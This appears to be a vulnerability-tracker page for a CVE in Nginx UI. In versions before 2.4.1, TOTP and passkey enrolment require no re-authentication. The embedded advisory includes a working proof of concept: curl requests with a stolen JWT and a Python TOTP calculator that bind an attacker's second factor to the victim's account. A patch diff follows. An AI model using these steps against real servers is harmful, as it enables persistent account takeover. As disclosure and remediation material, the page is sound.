CVE-2026-84313

highPriorität · verfolgen · 0OT-Risiko · erhöhtEPSS 0.004 · 36. PerzentilRUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.43% (36th) EPSS
CVSS 8.8 · high
Is it mine?
3 products
Prüfe deine Angriffsfläche
Who says so?
2 sources
fstec_bdu · osv

EPSS · bewertet 2026-10-23

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, POST /api/otp_enroll and POST /api/finish_passkey_register are registered outside RequireSecureSession and accept a normal authenticated session without verifying the current password. An attacker with a stolen JWT can bind an attacker-controlled TOTP secret when the victim has not already enabled TOTP, or can register an attacker-controlled passkey because that path has no equivalent existing-enrollment guard. These changes create persistent account access that can survive a password change and interfere with the legitimate user's authentication. This issue is fixed in version 2.4.1.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

8.8
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.18.8highAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hsecondary · FSTEC (BDU) RU
v3.18.8highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hsecondary · security-advisories@github.comAusnutzbarkeit 2.8 · Auswirkung 5.9
v3.18.8highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hsecondary · OSV
v3.18.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (3)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-gfrc-g87h-7h5wNginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover2026-10-15ghsa · osvUS

    ## Summary Endpoints that bind a TOTP secret (`POST /api/otp_enroll`) or register a WebAuthn passkey (`POST /api/finish_passkey_register`) for the *current* user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered **outside** the `RequireSecureSession()` group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out. ## Details `api/user/router.go:34-39` — note the routes registered *before* the secure-session group: ```go r.GET("/otp_secret", GenerateTOTP) r.POST("/otp_enroll", EnrollTOTP) // ← outside RequireSecureSession r.GET("/begin_passkey_register", BeginPasskeyRegistration) r.POST("/finish_passkey_register", FinishPasskeyRegistration) // ← outside RequireSecureSession o := r.Group("", middleware.RequireSecureSession()) { o.GET("/otp_reset", ResetOTP) // reset *is* protected — inconsistent ... } ``` `EnrollTOTP` (`api/user/otp.go:45-102`) only refuses if `cUser.EnabledOTP()` is already `true`; for any victim who has never enabled TOTP it accepts an attacker-supplied `Secret` and `Passcode` pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting): ```go if cUser.EnabledOTP() { ... abort ... } var twoFA struct { Secret string `json:"secret" binding:"required"` Passcode string `json:"passcode" binding:"required"` } if !cosy.BindAndValid(c, &twoFA) { return } if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... } ciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret)) u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext) ``` `FinishPasskeyRegistration` (`api/user/passkey.go`) is structurally identical and additionally has *no* "already enrolled" guard — an attacker can register multiple passkeys to the victim. ## Proof of Concept ```bash JWT="<victim_jwt>" # Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call): $ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otp_secret {"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN", "url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"} # Step 2 — compute current 30-s TOTP code (attacker-side): $ python3 -c "import base64,hmac,hashlib,struct,time key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN') ctr=int(time.time())//30 h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest() o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000 print(f'{v:06d}')" 954084 # Step 3 — bind that secret to the victim's account: $ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \ -d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \ http://127.0.0.1:18080/api/otp_enroll HTTP/1.1 200 OK {"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...], "last_viewed":1778338236} # Step 4 — confirm 2FA is now enabled on the victim's account: $ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fa_status {"enabled":true,"otp_status":true,"passkey_status":false, "recovery_codes_generated":true,"recovery_codes_viewed":true} ``` Now whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the *attacker's* authenticator. The passkey variant follows the same pattern: `GET /api/begin_passkey_register` then `POST /api/finish_passkey_register` with the attacker's WebAuthn authenticator. The route is also outside `RequireSecureSession`. ## Impact * Persistent account takeover surviving the victim's password reset. * Combines trivially with any of: stolen JWT, the `RequireSecureSession` bypass, the missing-role-model privilege escalation, and the weak recovery-code generation. ## Patches `api/user/router.go` — move enrolment routes inside the secure-session group: ```diff - r.POST("/otp_enroll", EnrollTOTP) - r.GET("/begin_passkey_register", BeginPasskeyRegistration) - r.POST("/finish_passkey_register", FinishPasskeyRegistration) - o := r.Group("", middleware.RequireSecureSession()) { + o.POST("/otp_enroll", EnrollTOTP) + o.GET("/begin_passkey_register", BeginPasskeyRegistration) + o.POST("/finish_passkey_register", FinishPasskeyRegistration) o.GET("/otp_reset", ResetOTP) ... } ``` This patch alone is **not sufficient** — the `RequireSecureSession` middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring `UpdateCurrentUserPassword` at `api/user/current_user.go`). ## Workarounds None reliable. Operators should monitor the `users` table for unexpected `OTPSecret` values and the `passkeys` table for unexpected rows. ## Credits Vishal Shukla ([@shukla304](https://github.com/shukla304)) and Sechub.dev AI Agent.

  • GO-2026-6786TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover in github.com/0xJacky/Nginx-UI2026-10-19vendor · osvUS

    TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover in github.com/0xJacky/Nginx-UI

06

auch bekannt als (4)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-10-12geändert 2026-10-16
08

Referenzen (3) nvd

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan